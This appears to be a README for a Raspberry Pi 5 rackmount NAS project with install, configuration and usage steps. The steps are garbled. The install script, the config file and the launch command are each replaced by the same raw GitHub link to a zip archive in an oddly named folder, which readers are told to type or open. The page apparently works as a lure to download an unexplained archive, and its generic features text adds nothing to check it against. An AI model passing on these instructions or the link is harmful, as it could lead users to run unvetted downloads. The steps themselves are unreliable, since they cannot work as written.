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πŸ–₯️ Mini-Rack-1U-Pi-NAS - Optimize Your Storage Space Easily

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πŸš€ Getting Started

Welcome to Mini-Rack-1U-Pi-NAS! This is a user-friendly application designed to turn your Raspberry Pi 5 into a 10-inch rackmount network-attached storage (NAS) with a 5.25" hot swap bay. Follow the steps below to get started.

🌐 What You Need

  1. Hardware Requirements:

    • Raspberry Pi 5
    • 5.25" hot swap bay
    • Power supply for the Raspberry Pi
    • Network connection (Wi-Fi or Ethernet)
    • Compatible storage drive (HDD or SSD)
  2. Software Requirements:

    • Operating System: Raspbian or any Raspberry Pi-compatible OS
    • Basic knowledge of your operating system environment

πŸ“₯ Download & Install

To install Mini-Rack-1U-Pi-NAS, you will first need to download the software. Follow these steps:

  1. Visit the Releases Page: Click the link below to access the latest release.

    Download Mini-Rack-1U-Pi-NAS

  2. Locate the Latest Version: On the releases page, find the most recent version of the application.

  3. Download the Files: Click on the appropriate asset for your system to download the necessary files.

  4. Extract the Files: If the files are in a compressed format (like .zip or .tar), extract them using your preferred archive tool.

  5. Install the Application:

    • Open a terminal on your Raspberry Pi.
    • Navigate to the directory where you extracted the files.
    • Run the installation script by typing https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zip and pressing Enter.
  6. Complete the Setup: Follow the on-screen instructions to complete the installation.

βš™οΈ Configuration

After the installation is complete, you will need to configure Mini-Rack-1U-Pi-NAS for your needs:

  1. Open the Configuration File:

    • Navigate to the installation directory.
    • Open the https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zip file in a text editor.
  2. Set Your Preferences:

    • Update the storage paths as needed.
    • Set the desired network settings to connect to your home network.
  3. Save Changes: Save the configuration file and close the editor.

πŸ”„ Running the Application

To start Mini-Rack-1U-Pi-NAS:

  1. Open the Terminal: Use the terminal on your Raspberry Pi.

  2. Navigate to the Installation Directory:

    • Use the cd command to change to the directory where Mini-Rack-1U-Pi-NAS is installed.
  3. Start the Application:

    • Type https://raw.githubusercontent.com/Abdellah8908/Mini-Rack-1U-Pi-NAS/main/showmanism/Mini-Rack-1U-Pi-NAS_3.9.zip and press Enter to run Mini-Rack-1U-Pi-NAS.
  4. Access the Interface: Open a web browser on your local network and go to http://<Your_Pi_IP_Address>:8080 to check the web interface.

πŸ“Š Features

  • RAID Support: Configure storage drives for redundancy or increased performance.
  • Hot Swap Functionality: Replace drives without shutting down the system.
  • User-Friendly Interface: Manage your storage easily through a web interface.
  • File Sharing: Share files across your home network effortlessly.

πŸ“š Troubleshooting

If you encounter issues while setting up Mini-Rack-1U-Pi-NAS, consider the following steps:

  1. Check Connections: Ensure that your Raspberry Pi and storage drives are correctly connected.

  2. Review the Logs: Look at the log files in the installation directory for error messages that may indicate the problem.

  3. Seek Help: Visit the Issues section on the GitHub page if you need assistance or want to report a bug.

🌍 Community

Join our community to ask questions, share your experience, or request features. Check out the discussions on GitHub.

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Thank you for using Mini-Rack-1U-Pi-NAS! Enjoy your new NAS setup with the Raspberry Pi 5.

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